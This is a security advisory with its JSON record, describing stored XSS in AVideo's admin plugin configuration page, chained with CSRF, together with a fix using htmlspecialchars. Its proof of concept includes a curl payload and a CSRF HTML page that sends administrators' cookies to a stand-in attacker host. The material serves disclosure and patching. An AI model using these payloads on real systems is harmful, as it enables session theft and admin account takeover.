GHSA-V4H7-3X43-QQW4
Vulnerability from github – Published: 2026-03-31 23:22 – Updated: 2026-03-31 23:22Summary
The AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.
This vulnerability chains with AVI-046 (CSRF on save.json.php) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.
Details
The jsonToFormElements() function in admin/functions.php contains multiple unsafe output points where configuration values are rendered without escaping:
Textarea injection (line 47):
// admin/functions.php:47
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>";
The $valueJson->value is placed directly between textarea tags without encoding.
Select option injection (line 55):
// admin/functions.php:55
$html .= "<option value='{$key}' {$select}>{$value}</option>";
Both $key and $value are inserted without encoding, allowing attribute breakout and HTML injection.
Input type and value injection (lines 62-63):
// admin/functions.php:62-63
$html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>";
Both type and value attributes are unescaped, enabling attribute injection.
Fallback input injection (line 75):
// admin/functions.php:75
$html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>";
The raw $valueJson string is placed into the value attribute without encoding.
Configuration values are saved via admin/save.json.php, which lacks CSRF token validation.
Proof of Concept
Method 1: Direct exploitation (requires admin session)
# Store XSS payload in a plugin configuration value
# The endpoint uses pluginName and direct field names as parameters
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
-X POST "https://your-avideo-instance.com/admin/save.json.php" \
-d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='"
When any admin visits the plugin configuration page, the payload fires.
Method 2: Cross-origin chain with CSRF (no authentication required)
Create the following HTML page and trick an admin into visiting it:
<!DOCTYPE html>
<html>
<head><title>AVI-033 + AVI-046 Chain PoC</title></head>
<body>
<h1>Loading...</h1>
<form id="xss" method="POST"
action="https://your-avideo-instance.com/admin/save.json.php">
<input type="hidden" name="name" value="Gallery" />
<input type="hidden" name="parameter" value="description" />
<input type="hidden" name="value"
value="' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='" />
</form>
<script>document.getElementById('xss').submit();</script>
</body>
</html>
The payload breaks out of the value attribute in the rendered input element:
<!-- Rendered HTML in admin panel -->
<input class='form-control' type='text'
value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus=''
name='description' id='description'/>
Impact
An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on save.json.php, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:
- Steal admin session cookies and CSRF tokens
- Create new admin accounts
- Modify site configuration (enable file uploads, disable security features)
- Inject persistent JavaScript into public-facing pages via site-wide settings
-
Pivot to server-side code execution via plugin upload functionality
-
CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
- Severity: High
Recommended Fix
Apply htmlspecialchars($value, ENT_QUOTES, 'UTF-8') to all user-controlled values rendered in admin/functions.php:
// admin/functions.php:47 - textarea content
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "</textarea>";
// admin/functions.php:55 - select option
$html .= "<option value='" . htmlspecialchars($key, ENT_QUOTES, 'UTF-8') . "' {$select}>" . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . "</option>";
// admin/functions.php:62-63 - input type and value
$html .= "<input class='form-control' type='" . htmlspecialchars($valueJson->type, ENT_QUOTES, 'UTF-8') . "' value='" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";
// admin/functions.php:75 - fallback input
$html .= "<input class='form-control' type='text' value='" . htmlspecialchars($valueJson, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34396"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:22:21Z",
"nvd_published_at": "2026-03-31T21:16:30Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe AVideo admin panel renders plugin configuration values in HTML forms without applying `htmlspecialchars()` or any other output encoding. The `jsonToFormElements()` function in `admin/functions.php` directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on `admin/save.json.php`) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.\n\nThis vulnerability chains with AVI-046 (CSRF on `save.json.php`) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.\n\n## Details\n\nThe `jsonToFormElements()` function in `admin/functions.php` contains multiple unsafe output points where configuration values are rendered without escaping:\n\n**Textarea injection (line 47):**\n```php\n// admin/functions.php:47\n$html .= \"\u003ctextarea class=\u0027form-control\u0027 name=\u0027{$name}\u0027 id=\u0027{$id}\u0027\u003e{$valueJson-\u003evalue}\u003c/textarea\u003e\";\n```\nThe `$valueJson-\u003evalue` is placed directly between textarea tags without encoding.\n\n**Select option injection (line 55):**\n```php\n// admin/functions.php:55\n$html .= \"\u003coption value=\u0027{$key}\u0027 {$select}\u003e{$value}\u003c/option\u003e\";\n```\nBoth `$key` and `$value` are inserted without encoding, allowing attribute breakout and HTML injection.\n\n**Input type and value injection (lines 62-63):**\n```php\n// admin/functions.php:62-63\n$html .= \"\u003cinput class=\u0027form-control\u0027 type=\u0027{$valueJson-\u003etype}\u0027 value=\u0027{$valueJson-\u003evalue}\u0027 name=\u0027{$name}\u0027 id=\u0027{$id}\u0027/\u003e\";\n```\nBoth `type` and `value` attributes are unescaped, enabling attribute injection.\n\n**Fallback input injection (line 75):**\n```php\n// admin/functions.php:75\n$html .= \"\u003cinput class=\u0027form-control\u0027 type=\u0027text\u0027 value=\u0027{$valueJson}\u0027 name=\u0027{$name}\u0027 id=\u0027{$id}\u0027/\u003e\";\n```\nThe raw `$valueJson` string is placed into the `value` attribute without encoding.\n\nConfiguration values are saved via `admin/save.json.php`, which lacks CSRF token validation.\n\n## Proof of Concept\n\n**Method 1: Direct exploitation (requires admin session)**\n\n```bash\n# Store XSS payload in a plugin configuration value\n# The endpoint uses pluginName and direct field names as parameters\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n -X POST \"https://your-avideo-instance.com/admin/save.json.php\" \\\n -d \"pluginName=PlayerSkins\u0026skin=x\u0027 onfocus=alert(document.cookie) autofocus=\u0027\"\n```\n\nWhen any admin visits the plugin configuration page, the payload fires.\n\n**Method 2: Cross-origin chain with CSRF (no authentication required)**\n\nCreate the following HTML page and trick an admin into visiting it:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAVI-033 + AVI-046 Chain PoC\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003cform id=\"xss\" method=\"POST\"\n action=\"https://your-avideo-instance.com/admin/save.json.php\"\u003e\n \u003cinput type=\"hidden\" name=\"name\" value=\"Gallery\" /\u003e\n \u003cinput type=\"hidden\" name=\"parameter\" value=\"description\" /\u003e\n \u003cinput type=\"hidden\" name=\"value\"\n value=\"\u0027 onfocus=fetch(\u0027https://attacker.example.com/steal?c=\u0027+document.cookie) autofocus=\u0027\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027xss\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe payload breaks out of the `value` attribute in the rendered input element:\n\n```html\n\u003c!-- Rendered HTML in admin panel --\u003e\n\u003cinput class=\u0027form-control\u0027 type=\u0027text\u0027\n value=\u0027\u0027 onfocus=fetch(\u0027https://attacker.example.com/steal?c=\u0027+document.cookie) autofocus=\u0027\u0027\n name=\u0027description\u0027 id=\u0027description\u0027/\u003e\n```\n\n## Impact\n\nAn attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on `save.json.php`, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:\n\n- Steal admin session cookies and CSRF tokens\n- Create new admin accounts\n- Modify site configuration (enable file uploads, disable security features)\n- Inject persistent JavaScript into public-facing pages via site-wide settings\n- Pivot to server-side code execution via plugin upload functionality\n\n- **CWE-79**: Improper Neutralization of Input During Web Page Generation (Stored XSS)\n- **Severity**: High\n\n## Recommended Fix\n\nApply `htmlspecialchars($value, ENT_QUOTES, \u0027UTF-8\u0027)` to all user-controlled values rendered in `admin/functions.php`:\n\n```php\n// admin/functions.php:47 - textarea content\n$html .= \"\u003ctextarea class=\u0027form-control\u0027 name=\u0027{$name}\u0027 id=\u0027{$id}\u0027\u003e\" . htmlspecialchars($valueJson-\u003evalue, ENT_QUOTES, \u0027UTF-8\u0027) . \"\u003c/textarea\u003e\";\n\n// admin/functions.php:55 - select option\n$html .= \"\u003coption value=\u0027\" . htmlspecialchars($key, ENT_QUOTES, \u0027UTF-8\u0027) . \"\u0027 {$select}\u003e\" . htmlspecialchars($value, ENT_QUOTES, \u0027UTF-8\u0027) . \"\u003c/option\u003e\";\n\n// admin/functions.php:62-63 - input type and value\n$html .= \"\u003cinput class=\u0027form-control\u0027 type=\u0027\" . htmlspecialchars($valueJson-\u003etype, ENT_QUOTES, \u0027UTF-8\u0027) . \"\u0027 value=\u0027\" . htmlspecialchars($valueJson-\u003evalue, ENT_QUOTES, \u0027UTF-8\u0027) . \"\u0027 name=\u0027{$name}\u0027 id=\u0027{$id}\u0027/\u003e\";\n\n// admin/functions.php:75 - fallback input\n$html .= \"\u003cinput class=\u0027form-control\u0027 type=\u0027text\u0027 value=\u0027\" . htmlspecialchars($valueJson, ENT_QUOTES, \u0027UTF-8\u0027) . \"\u0027 name=\u0027{$name}\u0027 id=\u0027{$id}\u0027/\u003e\";\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-v4h7-3x43-qqw4",
"modified": "2026-03-31T23:22:21Z",
"published": "2026-03-31T23:22:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-v4h7-3x43-qqw4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34396"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/a93ba83eb9f3aa47cd16af0a0dc13da3bf8ac4d1"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has Stored XSS via Unescaped Plugin Configuration Values in Admin Panel"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.